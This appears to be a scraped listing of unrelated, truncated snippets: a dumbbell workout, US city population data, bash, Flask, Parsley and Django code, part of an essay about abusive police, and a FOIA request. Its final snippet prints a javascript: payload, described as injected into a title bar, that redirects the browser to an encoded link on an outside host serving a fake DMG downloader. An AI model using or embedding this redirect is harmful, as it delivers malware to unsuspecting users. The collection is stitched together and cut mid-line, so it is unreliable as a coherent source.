Based on: Ultimate Full-Body Dumbbell Workout | Andy Speer
Perform 3 rounds, resting 60-90 sec. between rounds
- Dumbbell Clean: 10 reps
- Dumbbell Push Press: 10 reps
- Dumbbell Front Squat: 10 reps
Perform 3 rounds, resting 60 sec. between rounds
Based on: Ultimate Full-Body Dumbbell Workout | Andy Speer
Perform 3 rounds, resting 60-90 sec. between rounds
Perform 3 rounds, resting 60 sec. between rounds
| Largest 1000 Cities in America | |
| 2013 popuation data - Biggest US Cities By Population | |
| rank,city,state,population,2000-2013 growth | |
| 1,New York,New York,8405837,4.8% | |
| 2,Los Angeles,California,3884307,4.8% | |
| 3,Chicago,Illinois,2718782,-6.1% | |
| 4,Houston,Texas,2195914,11.0% | |
| 5,Philadelphia,Pennsylvania,1553165,2.6% |
| #!/bin/bash | |
| TARGET_DIR="${1:-.}" | |
| SIZE_LIMIT=$((10 * 1024 * 1024)) # 10MB in bytes | |
| find "$TARGET_DIR" -type f | while read -r file; do | |
| # Get file size in bytes (works on OSX) | |
| filesize=$(stat -f%z "$file" 2>/dev/null) | |
| if [ -n "$filesize" ] && [ "$filesize" -gt "$SIZE_LIMIT" ]; then | |
| echo "Processing: $file ($filesize bytes)" |
| [ | |
| { | |
| "city": "New York", | |
| "growth_from_2000_to_2013": "4.8%", | |
| "latitude": 40.7127837, | |
| "longitude": -74.0059413, | |
| "population": "8405837", | |
| "rank": "1", | |
| "state": "New York" | |
| }, |
| import io | |
| from flask import Flask, send_file | |
| app = Flask(__name__) | |
| @app.route('/logo.jpg') | |
| def logo(): | |
| """Serves the logo image.""" | |
| with open("logo.jpg", 'rb') as bites: |
| <!-- requirements --> | |
| <script src="https://cdnjs.cloudflare.com/ajax/libs/parsley.js/2.6.2/parsley.min.js"></script> | |
| <script src="https://halt-hammerzeit.github.io/libphonenumber-js/libphonenumber-js.min.js"></script> | |
| <!-- custom validator --> | |
| <script type="text/javascript"> | |
| $(document).ready(function() { | |
| window.Parsley.addValidator('ustel', { | |
| requirementType: 'string', | |
| validateString: function(value) { |
"All cops are bastards." That's not as bad as it sounds, really - lots of people are bastards. Many of my friends are bastards. I can be a bit of a bastard myself.
I'm not, however, a sadistic psychopath. Bastards, sure, but not all cops are sadistic psychopaths, either - but there are thousands of them all over the country. They sit at the very center of America's police oppression problem - the Bully Cops.
When I say the Bully Cop, you all immediately know exactly who I mean. I've met a few in my life, maybe you have too. If you haven't, consider yourself lucky, but you've certainly seen them in any of the shaky cell-phone videos showing the brutal, murderous police violence that we all know familiarly, but never get used to.
They're the particular type of people who are attracted to the job for all of the wrong reasons. They don't want to improve their commu
| In the event that the contents of any of the requested documents are classified under Executive Order 13526, I also make the following additional requests: | |
| Pursuant to section 1.2 of Executive Order 13526, I am requesting the level of classification of this information and its existence/nonexistence. | |
| Pursuant to section 1.3 of Executive Order 13526, I am requesting the specific authority which classified this information. | |
| Pursuant to section 1.4 of Executive Order 13526, I am requesting the specific classification categories of this information, as well as an identification or description of the damage to national security which the disclosure of this information would produce. | |
| Pursuant to section 1.5 of Executive Order 13526, I am requesting the specific duration of time for which this classification will stand. |
| <ul> | |
| {% for key, value in dictionary.items %} | |
| <li><a href="{{key}}">{{value}}</a></li> | |
| {% endfor %} | |
| </ul> |
| Opens a fake DMG downloader, injected into the title bar and executed: | |
| javascript:window.opener=null;setTimeout(function(){window.location.href='http://onderlea.info/ajNYbEVVFSwFIVcFal1zXwV+HiAODmlKJAhHZV5jHA5pQndfHWlCd0xGZV8jXgJrCHVfATtddlkKOgkjWQI+VXZfBG1YJlJSYVtzTFUrUXRMWj5RdUxANVFxWxUzUT8DQygVNgJSKglgWAMqCSQGFmpcIRhGNR9jGFY+US0eRyhJdisWaipgWHUvGzJbAHYWLBpDIR8tC0E9QiYFXn1eAxwWaipzH2cSDQApfH1eAwxaNAlrAkc1AGMJR2VZYwlHO1FxTEAsH3hbFTcfN1cVKB4rVwN+'},250) |